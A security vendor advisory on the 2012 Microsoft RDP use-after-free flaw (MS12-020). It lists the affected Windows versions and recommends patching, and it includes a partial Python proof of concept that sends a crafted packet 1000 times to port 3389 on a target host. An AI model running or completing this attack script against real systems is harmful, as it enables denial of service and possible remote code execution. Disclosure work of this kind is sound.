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 Security News 
 2012-12001 Microsoft Remote Desktop 
(RDP) Use-After-Free Vulnerability 

 

1. Affected Version 

 
Microsoft Windows XP SP2 and SP3 
Windows Server 2003 SP2 
Windows Vista SP2 
Windows Server 2008 SP2, R2, R2 SP1 
Windows 7 Gold and SP1 

 
 

2. Description 
 

The Microsoft Remote Desktop Protocol (RDP) provides remote display and 
input capabilities over network connections for Windows-based applications running 
on a server. RDP is designed to support different types of network topologies and 
multiple LAN protocols. 

 
Two vulnerabilities have been identified in Microsoft Remote Desktop Protocol 

(RDP).  
 

3. Vulnerability Analysis 

 

 The partial proof-of-concept code is listed as follows: 

    
import socket 

import sys 

  

  

buf="" 

buf+="\x03\x00\x00\x13\x0e\xe0\x00\x00" 

buf+="\x00\x00\x00\x01\x00\x08\x00\x00" 

buf+="\x00\x00\x00\x03\x00\x01\xd6\x02" 

... 

... 

... 

buf+="\x0c\x02\xf0\x80\x38\x00\x06\x03" 
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buf+="\xee\x03\x00\x00\x0b\x06\xd0\x00" 

buf+="\x00\x12\x34\x00" 

  

HOST = sys.argv[1] 

PORT = 3389 

for i in range(1000): 

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

        s.connect((HOST,PORT)) 

        print "sending: %d bytes" % len(buf) 

        s.send(buf) 

        rec = s.recv(100) 

        print "received: %d bytes" % len(rec) 

        s.close() 

 

Table 1:  The partial proof-of-concept code 

  

 The Remote Desktop Protocol is used by the "Terminal Services / Remote 

Desktop Services" and works at kernel level on port 3389. The first vulnerability 

would lead to the access of a deleted or improperly initialized object in memory. The 

second one is terminal server denial of service. Successful exploitation could lead to 

remote code execution and denial of service. 

     

 

4. Recommendation 

 

1. AegisLab IDP signature database can prevent this attack since 21/03/2012. 

2. Apply the appropriate patch for your system, as listed in Microsoft Security     

Bulletin MS12-020. 

 

 

5. Reference 

 

1. Microsoft Security Bulletin MS12-020 (Critical) 

2. CVE-2012-0002 

3. CVE-2012-0152 
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